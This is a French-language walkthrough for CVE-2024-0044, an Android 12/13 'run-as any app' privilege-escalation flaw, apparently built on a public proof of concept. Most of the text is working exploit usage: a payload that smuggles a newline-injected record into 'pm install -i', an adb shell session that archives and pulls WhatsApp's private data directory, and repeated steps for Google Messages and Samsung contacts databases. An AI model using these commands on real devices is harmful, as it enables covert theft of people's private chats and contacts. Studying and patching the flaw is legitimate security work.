
CVE-2024-0044: a "run-as any app" high-severity vulnerability affecting Android versions 12 and 13
CVE-2024-0044, identifiée dans la fonction createSessionInternal du fichier PackageInstallerService.java, est une vulnérabilité de haute sévérité affectant les versions Android 12 et 13. Cette vulnérabilité permet à un attaquant d'effectuer une attaque de type « run-as any app », conduisant à une élévation locale de privilèges sans nécessiter d'interaction de l'utilisateur. Le problème provient d'une validation d'entrée incorrecte dans la fonction createSessionInternal. Un attaquant peut l'exploiter en manipulant le processus de création de session, obtenant potentiellement un accès non autorisé à des données sensibles et effectuant des actions non autorisées sur l'appareil affecté.
L'exploit a été découvert par Meta security
La preuve de concept a été résumée et partagée par Tiny hack
Les détails du correctif de sécurité se trouvent dans le bulletin de sécurité Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P est utilisé pour spécifier le nom du package cible que vous voulez utiliser.
-A pour spécifier le fichier apk à pousser sur l'appareil.
Exécutez l'outil
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Un fichier payload.txt comme celui-ci sera généré
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success après la dernière commande.pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Créez un répertoire temporaire : mkdir /data/local/tmp/wa/
Créez un placeholder pour un fichier tar : touch /data/local/tmp/wa/wa.tar
Définissez des permissions larges : chmod -R 0777 /data/local/tmp/wa/ pour garantir que tout utilisateur peut lire, écrire et exécuter dans ce répertoire.
Changez de contexte utilisateur : run-as victim pour obtenir les mêmes permissions que l'utilisateur « victim ».
Archivez les données de l'application cible : tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, créant une archive tar du répertoire de données WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Vous pouvez extraire les données avec 7z ou tout autre outil.
Vous pouvez utiliser Whatsapp chat exporter pour le convertir en HTML.
Cela vous permet d'obtenir les données WhatsApp sans accès root sur votre appareil.
Il suffit de changer le nom du package comme suit :
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Suivez les instructions ci-dessus et après avoir récupéré le fichier wa.tar, décompressez-le et ouvrez les conversations dans com.google.android.apps.messaging/databases/bugle_db en utilisant sqlitebrowser ou tout autre outil.
Testé sur un appareil Samsung. Pour d'autres appareils, vérifiez le nom du package pour le fournisseur de contacts.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Suivez les instructions ci-dessus et après avoir récupéré le fichier wa.tar, décompressez-le et ouvrez les contacts dans com.samsung.android.providers.contacts/databases/contacts2.db en utilisant sqlitebrowser ou tout autre outil. Le fichier db contient toutes les informations des comptes e-mail de l'utilisateur avec la liste des contacts.